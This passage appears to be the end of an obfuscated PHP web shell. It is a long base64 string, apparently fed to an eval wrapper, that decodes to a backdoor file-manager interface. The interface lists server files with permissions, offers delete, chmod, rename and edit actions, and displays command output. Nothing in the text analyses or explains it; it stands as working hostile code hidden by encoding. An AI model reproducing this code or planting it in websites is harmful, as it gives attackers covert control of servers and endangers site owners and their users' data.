iBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0aC4nLycuJGRpci4nIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij4KPC9mb3JtPgo8L2NlbnRlcj48L3RkPjx0cj4nOwp9CmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsKZm9yZWFjaChhcnJheV91bmlxdWUoJHNjYW5kaXIpIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBhdGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxlKS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsKLy9lY2hvICRzaXplOwp9CgplY2hvICc8dHI+Cjx0ZD48YSBocmVmPSI/ZmlsZXNyYz0nLiRwYXRoLicvJy4kZmlsZS4nJnBhdGg9Jy4kcGF0aC4nIj4nLiRmaWxlLic8L2E+PC90ZD4KPHRkPjxjZW50ZXI+Jy4kc2l6ZS4nPC9jZW50ZXI+PC90ZD4KCic7CiRmcGVybWkgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoIiRwYXRoLyRmaWxlIikpLCAtNCk7CmVjaG8iCjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPSd5ZWxsb3cnPiRmcGVybWk8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4KIjsKZWNobyc8dGQ+PGNlbnRlcj4KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgo8c2VsZWN0IG5hbWU9Im9wdCI+CjxvcHRpb24gdmFsdWU9IiI+IE1lbnUgPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImRlbGV0ZSI+WytdIERlbGV0ZSBbK108L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPlsrXSBDaG1vZCBbK108L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0icmVuYW1lIj5bK10gUmVuYW1lIFsrXTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJlZGl0Ij5bK10gRWRpdCBbK108L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJmaWxlIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2htb2RwZXIiIHZhbHVlPSInLiRmcGVybWkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRmaWxlLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0aC4nLycuJGZpbGUuJyI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiI+CjwvZm9ybT4KPC9jZW50ZXI+PC90ZD48dHI+JzsKCmlmKCFlbXB0eSgkYikpewplY2hvICI8ZGl2IGNsYXNzPSdjbWQtZGl2Jz4iOwpmb3JlYWNoKCRiIGFzICR2KXsKaWYoIWVtcHR5KCR2KSl7CmVjaG8gIjxwcmU+IjsKZWNobyAiPHA+JHY8L3A+IjsKfWVsc2V7Cn0KfQplY2hvICI8L2Rpdj4iOwp9fX0KPz4K"));?>